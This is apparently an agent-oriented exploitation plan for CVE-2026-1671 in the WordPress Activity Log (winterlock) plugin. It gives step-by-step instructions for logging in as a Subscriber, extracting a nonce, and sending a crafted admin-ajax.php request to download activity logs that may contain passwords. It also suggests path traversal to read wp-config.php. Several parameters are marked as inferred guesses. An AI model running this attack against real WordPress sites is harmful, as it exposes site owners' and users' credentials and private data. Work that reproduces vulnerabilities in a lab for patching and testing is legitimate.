Activity Log for WordPress <= 1.2.8 - Missing Authorization to Sensitive Information Exposure via Log File

This research plan targets CVE-2026-1671, a missing authorization vulnerability in the Activity Log for WordPress (winterlock) plugin. The vulnerability allows Subscriber-level users to access sensitive activity logs, which may contain sensitive data such as plain-text passwords or administrative actions.

---

1. Vulnerability Summary

• Vulnerability: Missing Authorization / Sensitive Information Exposure
• Plugin: Activity Log for WordPress (winterlock)
• Affected Versions: <= 1.2.8
• Vulnerable Function: winter_activity_log_action()
• File Path: winter-activity-log.php (inferred) or includes/class-winter-activity-log-admin.php (inferred)
• Description: The function winter_activity_log_action() handles requests to retrieve or download activity log files. It fails to verify if the requesting user has administrative capabilities (e.g., manage_options) and does not properly restrict access to the file download/viewing mechanism, allowing any authenticated user (Subscriber+) to read the logs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: winter_activity_log_action
• HTTP Method: POST or GET (usually POST for AJAX)
• Parameters:
  • action: winter_activity_log_action
  • winter_activity_log_nonce: (The nonce name, inferred from standard plugin naming)
  • method: Likely used to specify the operation, e.g., download_log or view_log (inferred).
• Authentication: Subscriber-level credentials.
• Preconditions: The plugin must have generated at least one log file.

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX action:
   add_action( 'wp_ajax_winter_activity_log_action', 'winter_activity_log_action' );
2. Execution: When a Subscriber calls this action, winter_activity_log_action() is executed.
3. Missing Check: The function likely checks a nonce but fails to call current_user_can( 'manage_options' ).
4. Log Access: The function identifies the path to the log file (often stored in wp-content/uploads/winter-logs/ or similar) and either:
   • Outputs the file content directly using readfile().
   • Returns a direct URL to the log file which is otherwise protected by .htaccess but accessible via the PHP script.
5. Sensitive Data: The logs contain details of user logins, profile updates, and settings changes. If the plugin logs the $_POST array during these events, it may include passwords.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for the admin dashboard. Since Subscribers can access wp-admin/profile.php or the dashboard, they can retrieve it.

1. Identify Shortcode/Page: Check if the plugin enqueues scripts on all admin pages.
2. Navigation: Log in as a Subscriber and navigate to /wp-admin/index.php.
3. Extraction:
   • Look for wp_localize_script output in the HTML source.
   • Common variable names: winterlock_params, winter_activity_log_obj.
   • JS Command: browser_eval("window.winterlock_params?.nonce") or browser_eval("window.winter_activity_log_obj?.nonce").

5. Exploitation Strategy

Step 1: Authentication

Login as a Subscriber user using the http_request tool to obtain session cookies.

Step 2: Nonce Extraction

Navigate to the WordPress dashboard and extract the nonce using browser_eval.

Step 3: Trigger Log Exposure

Send an AJAX request to retrieve the log content.

Request Template:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=winter_activity_log_action&winter_activity_log_nonce=[NONCE]&method=download_log
  

  (Note: The parameter method and its value download_log are inferred based on common patterns; the agent should check the source for the exact parameter name like log_action or sub_action.)

Step 4: Parse Sensitive Data

Inspect the response body. Look for logged entries related to user logins or profile updates.
Example log format: [Date] [User] [Action] [Data: {"user_pass": "..."}]

6. Test Data Setup

1. Install Plugin: Activity Log for WordPress <= 1.2.8.
2. Create Users:
   • Administrator: admin_user / admin_password123
   • Subscriber: sub_user / sub_password123
3. Generate Activity:
   • As Administrator, go to "Settings" and change a value.
   • As Administrator, create a new user or update your own profile. This ensures the log file is populated with "sensitive" data.
4. Plugin Config: Ensure "Log POST Data" or similar is enabled if the plugin offers it, as this is the primary source of the "password" exposure mentioned in the description.

7. Expected Results

• The admin-ajax.php request returns a 200 OK status.
• The response body contains the raw contents of an activity log file.
• The log file contains details of actions performed by the Administrator, which should be invisible to a Subscriber.

8. Verification Steps

1. Verify via WP-CLI:
   • Check that the file exists on disk: wp eval "echo get_upload_iframe_src('winter-logs');" (Path discovery).
   • Compare the content received via the AJAX exploit with the content on disk: cat /var/www/html/wp-content/uploads/winter-logs/activity.log.
2. Confirm Lack of Auth:
   • Search the plugin code for the AJAX handler: grep -r "winter_activity_log_action" .
   • Confirm the absence of current_user_can within the function body.

9. Alternative Approaches

• Direct Path Traversal: If the method parameter takes a filename, check for path traversal (e.g., ../../../../wp-config.php).
• Log Export Action: If there is a "Export to CSV" feature, it might use a different action like winter_activity_log_export.
• Frontend Exposure: Check if the plugin registers wp_ajax_nopriv_winter_activity_log_action, which would upgrade this to an Unauthenticated Information Exposure (though the CVE states Subscriber+).